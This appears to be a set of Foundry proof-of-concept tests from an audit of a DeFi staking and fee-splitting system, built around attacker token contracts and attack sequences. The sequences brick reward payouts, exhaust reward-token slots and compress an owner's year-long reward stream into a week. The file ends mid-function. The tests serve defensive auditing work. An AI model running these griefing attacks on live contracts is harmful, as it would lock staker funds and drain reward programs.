// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// @dev Plain mintable ERC-20 standing in for an attacker-deployed token, or for IMD.
contract Mintable is ERC20 {
    constructor() ERC20("M", "M") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Attacker token: transfers work for everyone except when ShiftRewards is the sender, so the
/// FeeSplitter can forward it but ShiftRewards can never pay it out.
contract RevertingForRewards is ERC20 {
    address public immutable blocked;

    constructor(address blocked_) ERC20("EVIL", "EVIL") {
        blocked = blocked_;
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        require(msg.sender != blocked, "evil: no payout");
        return super.transfer(to, amount);
    }
}

/// @notice FeeSplitter.distribute(token) is permissionless and is the trusted `distributor` of
/// ShiftRewards.notifyReceived, so anyone can make ShiftRewards register any ERC-20 as a reward token.
contract RewardTokenPoisonProof is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant IMD = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;
    address constant BURN_EXECUTOR = 0xe29386719C155B6847aD5a4E97C6674f10ffc750;

    PoolManager manager;
    ShiftToken shift;
    ShiftRewards rewards;
    FeeSplitter splitter;
    address attacker = makeAddr("attacker");
    address alice = makeAddr("alice");

    function setUp() public {
        vm.warp(1_700_000_000);
        manager = new PoolManager(address(this));
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        splitter = new FeeSplitter(IPoolManager(address(manager)), address(shift), address(rewards), OWNER);
        rewards.setDistributor(address(splitter));
        vm.etch(IMD, address(new Mintable()).code);
        shift.transfer(alice, 1_000e18);
        vm.prank(alice);
        shift.approve(address(rewards), type(uint256).max);
    }

    /// @dev The attacker's calls go through a low-level call so a fix that makes them revert still
    /// lets the test reach its assertions.
    function _attackerDistribute(address token) internal {
        vm.prank(attacker);
        (bool ok,) = address(splitter).call(abi.encodeCall(FeeSplitter.distribute, (token)));
        ok; // ignored on purpose
    }

    /// Fourteen junk tokens fill the 16-slot reward list (ETH and SHIFT hold the other two). After that
    /// `distribute(IMD)` reverts with TooManyRewardTokens forever: IMD (and every other ERC-20) sent to
    /// the FeeSplitter can never be split or burned, and there is no other way out of the contract.
    function test_anyoneCanBrickDistributeForImdAndOtherTokens() public {
        for (uint256 i = 0; i < 14; i++) {
            Mintable junk = new Mintable();
            junk.mint(address(splitter), 1e18);
            _attackerDistribute(address(junk));
        }

        Mintable(IMD).mint(address(splitter), 500e18);
        // Expected: the fixed rule runs and 20% of the IMD reaches the BurnExecutor.
        splitter.distribute(IMD);
        assertEq(Mintable(IMD).balanceOf(BURN_EXECUTOR), 100e18, "IMD burn share must reach the BurnExecutor");
        assertEq(Mintable(IMD).balanceOf(address(splitter)), 0, "nothing may stay stuck in the splitter");
    }

    /// One attacker token whose transfers revert when ShiftRewards sends it becomes a reward token and
    /// streams to every staker. Each staker then holds an unpayable `rewards[account][evil]`, so the
    /// brief's `getReward()` and `exit()` revert for them permanently.
    function test_anyoneCanBrickGetRewardAndExitForStakers() public {
        vm.prank(alice);
        rewards.stake(1_000e18, 0);

        RevertingForRewards evil = new RevertingForRewards(address(rewards));
        evil.mint(address(splitter), 1_000e18);
        _attackerDistribute(address(evil));

        vm.warp(block.timestamp + 1 days);

        // Expected: a staker can always collect what they earned and leave.
        vm.prank(alice);
        rewards.getReward();
        vm.prank(alice);
        rewards.exit();
        assertEq(rewards.balanceOf(alice), 0, "alice could not exit");
        assertEq(shift.balanceOf(alice), 1_000e18, "alice did not get her stake back");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// @notice The owner's `notifyRewardAmount(SHIFT, amount, 365 days)` stream and the splitter's 7-day
/// stream share one `rewardData[SHIFT]`. Anyone who drops 10 wei of SHIFT on the FeeSplitter and calls
/// the permissionless `distribute(SHIFT)` re-notifies the token with STREAM_DURATION, which rewrites
/// the owner's leftover into a 7-day stream.
contract StreamDurationOverrideProof is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;

    PoolManager manager;
    ShiftToken shift;
    ShiftRewards rewards;
    FeeSplitter splitter;
    address attacker = makeAddr("attacker");
    address alice = makeAddr("alice");

    function setUp() public {
        vm.warp(1_700_000_000);
        manager = new PoolManager(address(this));
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        splitter = new FeeSplitter(IPoolManager(address(manager)), address(shift), address(rewards), OWNER);
        rewards.setDistributor(address(splitter));
        shift.transfer(alice, 1_000e18);
        shift.transfer(OWNER, 365_000e18);
        shift.transfer(attacker, 1e18);
        vm.prank(alice);
        shift.approve(address(rewards), type(uint256).max);
        vm.prank(OWNER);
        shift.approve(address(rewards), type(uint256).max);
    }

    function test_unprivilegedDistributeCompressesOwnerStreamIntoSevenDays() public {
        vm.prank(alice);
        rewards.stake(1_000e18, 0);

        // Owner: 365,000 SHIFT for stakers over one year, i.e. 1,000 SHIFT per day.
        vm.prank(OWNER);
        rewards.notifyRewardAmount(address(shift), 365_000e18, 365 days);
        (uint256 finishBefore,,,) = rewards.rewardData(address(shift));
        assertEq(finishBefore, block.timestamp + 365 days);

        // Attacker: 10 wei of SHIFT to the splitter, then the permissionless distribute.
        vm.startPrank(attacker);
        shift.transfer(address(splitter), 10);
        (bool ok,) = address(splitter).call(abi.encodeCall(FeeSplitter.distribute, (address(shift))));
        ok; // a fix that refuses the dust call must still leave the owner's stream intact
        vm.stopPrank();

        // Expected: the owner's one-year schedule still stands, so after 7 days alice has earned about
        // 7,000 SHIFT (plus the attacker's 4 wei). Actual on this code: periodFinish moved to +7 days and
        // the whole 365,000 SHIFT has streamed out.
        (uint256 finishAfter,,,) = rewards.rewardData(address(shift));
        assertEq(finishAfter, finishBefore, "owner's stream end was rewritten by an unprivileged caller");

        vm.warp(block.timestamp + 7 days);
        uint256 earned = rewards.earned(alice, address(shift));
        assertLe(earned, 7_100e18, "a year-long stream paid out in a week");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// @notice An unprivileged actor collapses the owner's year-long staker stream into 7 days with 1 wei of ETH.
///
/// `ShiftRewards.receive()` is open to anyone and calls `_notifyStakers(ETH, msg.value, STREAM_DURATION)`,
/// which rewrites the single per-token `RewardData` (rate, periodFinish) shared with the owner's
/// `notifyRewardAmount` stream: the whole remaining leftover is re-spread over 7 days.
contract StreamCompressionTest is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant ETH = address(0);

    ShiftToken shift;
    ShiftRewards rewards;
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(1_700_000_000);
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        rewards.setDistributor(makeAddr("distributor"));
        shift.transfer(alice, 1_000e18);
        shift.transfer(bob, 1_000e18);
        vm.prank(alice);
        shift.approve(address(rewards), type(uint256).max);
        vm.prank(bob);
        shift.approve(address(rewards), type(uint256).max);
    }

    function test_unprivilegedActorCannotCollapseOwnerStreamInto7Days() public {
        // Alice is the only staker now; Bob intends to stake in a month.
        vm.prank(alice);
        rewards.stake(1_000e18, 0);

        // Owner streams 365 ETH to stakers over 365 days: ~1 ETH per day.
        vm.deal(OWNER, 365 ether);
        vm.prank(OWNER);
        rewards.notifyRewardAmount{value: 365 ether}(ETH, 365 ether, 365 days);
        (uint256 finishBefore,,,) = rewards.rewardData(ETH);
        assertEq(finishBefore, block.timestamp + 365 days);

        // Attacker (colluding with Alice, or Alice herself) sends 1 wei to the open receive().
        vm.deal(attacker, 1);
        vm.prank(attacker);
        // Whether the contract accepts or rejects the wei is not the point; the schedule must not move.
        address(rewards).call{value: 1}("");

        // The owner's schedule must survive an unprivileged 1-wei donation.
        (uint256 finishAfter,,,) = rewards.rewardData(ETH);
        assertEq(finishAfter, finishBefore, "a 1 wei donation rescheduled the owner's 365-day stream");

        // Economic consequence: after 7 days Alice should have about 7 ETH, not the whole year.
        vm.warp(block.timestamp + 7 days);
        uint256 earned = rewards.earned(alice, ETH);
        assertLe(earned, 8 ether, "Alice collected the entire year's rewards in one week");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

contract JunkToken is ERC20 {
    constructor() ERC20("Junk", "JNK") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @notice Anyone fills ShiftRewards' 16 reward-token slots through the permissionless
/// `FeeSplitter.distribute(token)`; afterwards IMD (or any new token) sent to the FeeSplitter can never be
/// distributed and is stuck there forever, because `distribute` reverts in `notifyReceived -> _addRewardToken`.
contract RewardTokenExhaustionTest is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant IMD = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;
    address constant BURN_EXECUTOR = 0xe29386719C155B6847aD5a4E97C6674f10ffc750;

    PoolManager manager;
    ShiftToken shift;
    ShiftRewards rewards;
    FeeSplitter splitter;
    address attacker = makeAddr("attacker");

    function setUp() public {
        manager = new PoolManager(address(this));
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        splitter = new FeeSplitter(IPoolManager(address(manager)), address(shift), address(rewards), OWNER);
        rewards.setDistributor(address(splitter));
        // IMD lives at a fixed mainnet address: put a mintable ERC-20 there.
        vm.etch(IMD, address(new JunkToken()).code);
    }

    function test_imdFeesStayDistributableAfterJunkTokens() public {
        // ETH and SHIFT occupy 2 of the 16 slots. The attacker fills the other 14 with 1 wei each.
        vm.startPrank(attacker);
        for (uint256 i = 0; i < 14; i++) {
            JunkToken junk = new JunkToken();
            junk.mint(address(splitter), 1);
            splitter.distribute(address(junk));
        }
        vm.stopPrank();
        assertEq(rewards.rewardTokenCount(), 16);

        // Later, IMD fees reach the FeeSplitter (the brief lists IMD as a token it must split).
        JunkToken(IMD).mint(address(splitter), 1_000e18);

        // The fixed rule must still apply: 40% rewards, 20% dev, 20% treasury, 20% to the BurnExecutor.
        splitter.distribute(IMD);
        assertEq(JunkToken(IMD).balanceOf(BURN_EXECUTOR), 200e18, "IMD burn share never reached the BurnExecutor");
        assertEq(JunkToken(IMD).balanceOf(address(splitter)), 0, "IMD stuck in the FeeSplitter");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// @notice The staker half of every reward that streams while `totalSupply == 0` is lost for good: the clock
/// still advances in `_updateAll` / `_notifyStakers`, nobody is credited, and the amount stays inside
/// `accounted[token]` where no function can ever pay it out.
contract StrandedRewardsTest is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant ETH = address(0);

    ShiftToken shift;
    ShiftRewards rewards;
    address distributor = makeAddr("distributor");
    address alice = makeAddr("alice");

    function setUp() public {
        vm.warp(1_700_000_000);
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        rewards.setDistributor(distributor);
        shift.transfer(alice, 1_000e18);
        vm.prank(alice);
        shift.approve(address(rewards), type(uint256).max);
    }

    function test_rewardsReceivedWithNoStakersAreNotStranded() public {
        // Launch day: sell fees arrive through the FeeSplitter before anyone has staked.
        vm.deal(distributor, 10 ether);
        vm.prank(distributor);
        (bool ok,) = address(rewards).call{value: 10 ether}("");
        assertTrue(ok);
        assertEq(rewards.accounted(ETH), 10 ether);
        assertEq(rewards.frogsPot(ETH), 5 ether);

        // The 7-day stream runs out with nobody staked. Then Alice stakes and waits another full stream.
        vm.warp(block.timestamp + 7 days);
        vm.prank(alice);
        rewards.stake(1_000e18, 0);
        vm.warp(block.timestamp + 7 days);

        vm.prank(alice);
        rewards.getReward();

        // Every wei the contract still accounts for must be either in the frogs pot or claimable by a staker.
        uint256 stranded = rewards.accounted(ETH) - rewards.frogsPot(ETH) - rewards.earned(alice, ETH);
        assertLe(stranded, 1e6, "the staker half streamed while totalSupply == 0 is permanently stuck");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

contract JunkToken is ERC20 {
    constructor() ERC20("Junk", "JUNK") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// Anyone can fill ShiftRewards' 16 reward-token slots with junk through FeeSplitter.distribute, after which
/// distribute(IMD) (and any other new token) reverts forever and that token is stuck in the FeeSplitter.
contract RewardTokenGriefProof is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant IMD = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;
    address constant BURN_EXECUTOR = 0xe29386719C155B6847aD5a4E97C6674f10ffc750;

    function test_junkTokensCannotBlockImdDistribution() public {
        PoolManager manager = new PoolManager(address(this));
        ShiftToken shift = new ShiftToken();
        ShiftRewards rewards = new ShiftRewards(address(shift), OWNER);
        FeeSplitter splitter = new FeeSplitter(IPoolManager(address(manager)), address(shift), address(rewards), OWNER);
        rewards.setDistributor(address(splitter));
        vm.etch(IMD, address(new JunkToken()).code);

        // Attacker: 14 junk tokens, 1 wei each, distributed by anyone.
        address attacker = makeAddr("attacker");
        for (uint256 i = 0; i < 14; i++) {
            JunkToken junk = new JunkToken();
            junk.mint(address(splitter), 1);
            vm.prank(attacker);
            splitter.distribute(address(junk));
        }

        // Real IMD fees arrive. The fixed rule says 40/20/20/20 with the burn share to the BurnExecutor.
        JunkToken(IMD).mint(address(splitter), 1000e18);
        splitter.distribute(IMD); // reverts TooManyRewardTokens on the current code
        assertEq(JunkToken(IMD).balanceOf(BURN_EXECUTOR), 200e18);
        assertEq(JunkToken(IMD).balanceOf(address(rewards)), 400e18);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// Plain mintable token an attacker deploys.
contract JunkToken is ERC20 {
    constructor() ERC20("Junk", "JNK") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// Token whose transfers the attacker can switch off after it has been registered as a reward token.
contract PoisonToken is ERC20 {
    bool public blocked;

    constructor() ERC20("Poison", "PSN") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function setBlocked(bool b) external {
        blocked = b;
    }

    function _update(address from, address to, uint256 value) internal override {
        require(!blocked, "poison");
        super._update(from, to, value);
    }
}

contract ProofRewardTokensTest is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant IMD = 0xD34a99Bc0f67aE1bbd63C660e6d0b0dd03E263B7;

    ShiftToken shift;
    ShiftRewards rewards;
    FeeSplitter splitter;
    address attacker = makeAddr("attacker");
    address staker = makeAddr("staker");

    function setUp() public {
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        // distribute() never touches the PoolManager, so any non-zero address will do here.
        splitter = new FeeSplitter(IPoolManager(address(1)), address(shift), address(rewards), OWNER);
        rewards.setDistributor(address(splitter));
        // IMD lives at a fixed mainnet address: put a mintable ERC-20 there.
        vm.etch(IMD, address(new JunkToken()).code);
    }

    /// An unprivileged attacker fills every free reward-token slot with dust of worthless tokens.
    /// Afterwards FeeSplitter.distribute(IMD) reverts forever, so IMD sent to the splitter is stuck.
    function test_anyoneExhaustsRewardTokenSlotsAndBricksDistributeOfNewTokens() public {
        // ETH and SHIFT take 2 of the 16 slots; 14 are free.
        for (uint256 i = 0; i < 14; i++) {
            vm.startPrank(attacker);
            JunkToken junk = new JunkToken();
            junk.mint(address(splitter), 5);
            // Low-level so the test also passes once a fix makes junk distributions revert or skip registration.
            (bool ok,) = address(splitter).call(abi.encodeCall(splitter.distribute, (address(junk))));
            ok;
            vm.stopPrank();
        }

        // IMD now arrives at the splitter (the brief lists IMD as a token it receives).
        JunkToken(IMD).mint(address(splitter), 1_000e18);

        // Expected: 40% to rewards, 20% dev, 20% treasury, 20% to the BurnExecutor.
        // Actual: ShiftRewards.notifyReceived -> _addRewardToken reverts TooManyRewardTokens, forever.
        splitter.distribute(IMD);
        assertEq(splitter.pending(IMD), 0, "IMD distributed");
    }

    /// A reward token registered through distribute() whose transfer later reverts makes getReward()
    /// and exit() revert for every staker that earned any of it. The spec'd getReward() is unusable.
    function test_poisonRewardTokenBricksGetRewardForEveryStaker() public {
        shift.transfer(staker, 1_000e18);
        vm.startPrank(staker);
        shift.approve(address(rewards), type(uint256).max);
        rewards.stake(1_000e18, 0);
        vm.stopPrank();

        vm.startPrank(attacker);
        PoisonToken poison = new PoisonToken();
        poison.mint(address(splitter), 1_000e18);
        (bool ok,) = address(splitter).call(abi.encodeCall(splitter.distribute, (address(poison))));
        ok;
        vm.stopPrank();

        // Legit ETH rewards also arrive and stream.
        vm.deal(address(splitter), 10 ether);
        splitter.distribute(address(0));
        vm.warp(block.timestamp + 1 days);

        // Attacker switches the junk token off.
        vm.prank(attacker);
        poison.setBlocked(true);

        uint256 ethEarned = rewards.earned(staker, address(0));
        assertGt(ethEarned, 0, "staker has ETH to claim");

        // Expected: getReward() pays what was earned (at least the ETH).
        // Actual: reverts with "poison" while paying the junk token, so the staker gets nothing from getReward().
        vm.prank(staker);
        rewards.getReward();
        assertEq(staker.balance, ethEarned, "ETH reward paid by getReward()");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {ShiftToken} from "src/ShiftToken.sol";

contract ProofDurationTest is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;

    ShiftToken shift;
    ShiftRewards rewards;
    FeeSplitter splitter;
    address attacker = makeAddr("attacker");
    address staker = makeAddr("staker");

    function setUp() public {
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        splitter = new FeeSplitter(IPoolManager(address(1)), address(shift), address(rewards), OWNER);
        rewards.setDistributor(address(splitter));
        shift.transfer(OWNER, 10_000_000e18);
        shift.transfer(attacker, 1e18);
        shift.transfer(staker, 1_000e18);
        vm.startPrank(staker);
        shift.approve(address(rewards), type(uint256).max);
        rewards.stake(1_000e18, 0);
        vm.stopPrank();
    }

    /// The owner streams an outside SHIFT reward over 365 days. Anyone then sends 5 wei SHIFT to the
    /// FeeSplitter and calls distribute(shift): _split -> _notifyStakers(..., 7 days) folds the whole
    /// 365-day leftover into a fresh 7-day period, so the year-long program pays out in one week.
    function test_feeDistributionCollapsesOwnerRewardDurationToSevenDays() public {
        uint256 start = block.timestamp;
        vm.startPrank(OWNER);
        shift.approve(address(rewards), type(uint256).max);
        rewards.notifyRewardAmount(address(shift), 3_650_000e18, 365 days);
        vm.stopPrank();
        (uint256 finish0, uint256 rate0,,) = rewardData(address(shift));
        assertEq(finish0, start + 365 days, "owner asked for a year");

        vm.warp(start + 1 days);
        vm.startPrank(attacker);
        shift.transfer(address(splitter), 5);
        splitter.distribute(address(shift));
        vm.stopPrank();

        (uint256 finish1, uint256 rate1,,) = rewardData(address(shift));
        // Expected: the owner's 365-day schedule is honoured (finish stays at start + 365 days).
        // Actual: finish1 == start + 1 day + 7 days and the rate is ~52x higher.
        assertEq(finish1, start + 365 days, "owner's duration was overridden by a dust fee distribution");
        assertLe(rate1, rate0 * 2, "rate exploded");
    }

    function rewardData(address token) internal view returns (uint256, uint256, uint256, uint256) {
        return rewards.rewardData(token);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {PoolManager} from "v4-core/src/PoolManager.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {IUnlockCallback} from "v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {Currency} from "v4-core/src/types/Currency.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {NightshiftHook} from "src/NightshiftHook.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// @dev Minimal router: swaps and adds liquidity on a PoolManager, paying from its own balances.
contract ScratchRouter is IUnlockCallback {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function swapExact(PoolKey memory key, bool zeroForOne, int256 amountSpecified) public returns (BalanceDelta) {
        SwapParams memory params = SwapParams({
            zeroForOne: zeroForOne,
            amountSpecified: amountSpecified,
            sqrtPriceLimitX96: zeroForOne ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1
        });
        bytes memory result = manager.unlock(abi.encode(true, abi.encode(key, params)));
        return abi.decode(result, (BalanceDelta));
    }

    function addLiquidity(PoolKey memory key, int24 lo, int24 hi, int256 liquidity) external returns (BalanceDelta) {
        ModifyLiquidityParams memory params =
            ModifyLiquidityParams({tickLower: lo, tickUpper: hi, liquidityDelta: liquidity, salt: 0});
        bytes memory result = manager.unlock(abi.encode(false, abi.encode(key, params)));
        return abi.decode(result, (BalanceDelta));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager), "not manager");
        (bool isSwap, bytes memory inner) = abi.decode(data, (bool, bytes));
        BalanceDelta delta;
        PoolKey memory key;
        if (isSwap) {
            SwapParams memory params;
            (key, params) = abi.decode(inner, (PoolKey, SwapParams));
            delta = manager.swap(key, params, "");
        } else {
            ModifyLiquidityParams memory params;
            (key, params) = abi.decode(inner, (PoolKey, ModifyLiquidityParams));
            (delta,) = manager.modifyLiquidity(key, params, "");
        }
        _settle(key.currency0, delta.amount0());
        _settle(key.currency1, delta.amount1());
        return abi.encode(delta);
    }

    function _settle(Currency currency, int128 amount) internal {
        if (amount < 0) {
            uint256 owed = uint256(uint128(-amount));
            manager.sync(currency);
            if (currency.isAddressZero()) {
                manager.settle{value: owed}();
            } else {
                IERC20(Currency.unwrap(currency)).transfer(address(manager), owed);
                manager.settle();
            }
        } else if (amount > 0) {
            manager.take(currency, address(this), uint256(uint128(amount)));
        }
    }
}

contract PartialFillFeeTest is Test {
    uint160 constant SQRT_PRICE_1_1 = 79228162514264337593543950336;
    uint24 constant POOL_FEE = 12_500;
    int24 constant SPACING = 60;
    uint160 constant ALL_FLAGS = uint160((1 << 14) - 1);
    // beforeInitialize | beforeSwap | afterSwap | beforeSwapReturnDelta | afterSwapReturnDelta
    uint160 constant FLAGS = (1 << 13) | (1 << 7) | (1 << 6) | (1 << 3) | (1 << 2);

    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant FIRST_BUYER = 0x3322E6DD06Ade8377F1f1BCb766f6133d7b64D69;

    PoolManager manager;
    ShiftToken shift;
    NightshiftHook hook;
    FeeSplitter splitter;
    ScratchRouter router;
    PoolKey key;
    address alice = makeAddr("alice");

    function setUp() public {
        manager = new PoolManager(address(this));
        shift = new ShiftToken();
        bytes memory creationCode = abi.encodePacked(
            type(NightshiftHook).creationCode, abi.encode(manager, address(shift), OWNER, address(this))
        );
        bytes32 initCodeHash = keccak256(creationCode);
        bytes32 salt;
        for (uint256 i = 0; i < 500_000; i++) {
            address predicted = address(
                uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(i), initCodeHash))))
            );
            if ((uint160(predicted) & ALL_FLAGS) == FLAGS) {
                salt = bytes32(i);
                break;
            }
        }
        hook = new NightshiftHook{salt: salt}(IPoolManager(address(manager)), address(shift), OWNER, address(this));
        splitter = hook.feeSplitter();
        key = PoolKey({
            currency0: Currency.wrap(address(0)),
            currency1: Currency.wrap(address(shift)),
            fee: POOL_FEE,
            tickSpacing: SPACING,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, SQRT_PRICE_1_1); // this test contract plays the launch factory
        router = new ScratchRouter(manager);
        // Launch seed: SHIFT only, in a range below the opening price (no ETH in the pool yet).
        shift.transfer(address(router), 1_000_000e18);
        router.addLiquidity(key, TickMath.minUsableTick(SPACING), -SPACING, 1e23);
        vm.deal(address(router), 100 ether);
        // The first buyer opens trading with a 1 ETH buy.
        vm.prank(FIRST_BUYER, FIRST_BUYER);
        router.swapExact(key, true, -1 ether);
        assertTrue(hook.tradingOpen());
    }

    /// @notice An exact-input sell that the pool can only partly fill is charged the SHIFT fee on the whole
    /// specified amount, not on the SHIFT the pool actually took.
    function test_partialFillChargesShiftFeeOnUnconsumedInput() public {
        uint256 specified = 1_000e18; // far more than the 1 ETH of liquidity on the ETH side can absorb
        uint256 feeBefore = shift.balanceOf(address(splitter));
        vm.prank(alice, alice);
        BalanceDelta d;
        // A fix that refuses partial fills instead of repricing the fee is acceptable: then nobody is overcharged.
        try router.swapExact(key, false, -int256(specified)) returns (BalanceDelta res) {
            d = res;
        } catch {
            return;
        }

        uint256 shiftFee = shift.balanceOf(address(splitter)) - feeBefore;
        uint256 sellerPaid = uint256(uint128(-d.amount1()));
        uint256 poolTook = sellerPaid - shiftFee;
        emit log_named_uint("SHIFT specified      ", specified);
        emit log_named_uint("SHIFT the pool took  ", poolTook);
        emit log_named_uint("SHIFT fee to splitter", shiftFee);
        emit log_named_uint("SHIFT seller paid    ", sellerPaid);

        // The swap was a partial fill: the pool took far less than the seller specified.
        assertLt(poolTook, specified / 10, "expected a partial fill");
        // Spec: the hook takes 2.5% of the SHIFT input. The fee must not exceed 2.5% of what the seller paid.
        assertLe(shiftFee, sellerPaid * 250 / 10_000 + 1, "SHIFT fee exceeds 2.5% of the SHIFT actually sold");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {ShiftRewards} from "src/ShiftRewards.sol";
import {FeeSplitter} from "src/FeeSplitter.sol";
import {ShiftToken} from "src/ShiftToken.sol";

/// @dev An ERC-20 whose transfers the deployer can switch off after it has been registered as a reward token.
contract EvilToken is ERC20 {
    bool public blocked;

    constructor() ERC20("Evil", "EVIL") {
        _mint(msg.sender, 1_000_000e18);
    }

    function setBlocked(bool b) external {
        blocked = b;
    }

    function _update(address from, address to, uint256 value) internal override {
        require(!blocked, "EVIL: blocked");
        super._update(from, to, value);
    }
}

contract EvilRewardTokenTest is Test {
    address constant OWNER = 0x6C4c78f2C3bDf4C4318Fe305FB1C8BC1694d19b5;
    address constant ETH = address(0);

    ShiftToken shift;
    ShiftRewards rewards;
    FeeSplitter splitter;
    address alice = makeAddr("alice");
    address attacker = makeAddr("attacker");

    function setUp() public {
        vm.warp(1_700_000_000);
        shift = new ShiftToken();
        rewards = new ShiftRewards(address(shift), OWNER);
        // The pool manager is not touched by distribute(); any address will do here.
        splitter = new FeeSplitter(IPoolManager(address(0xBEEF)), address(shift), address(rewards), OWNER);
        rewards.setDistributor(address(splitter));

        shift.transfer(alice, 1_000e18);
        vm.startPrank(alice);
        shift.approve(address(rewards), type(uint256).max);
        rewards.stake(1_000e18, 0);
        vm.stopPrank();

        // Real fee income: 10 ETH reaches the splitter and is distributed.
        vm.deal(address(splitter), 10 ether);
        splitter.distribute(ETH);
    }

    function test_anyoneCanRegisterARevertingRewardTokenAndBrickGetReward() public {
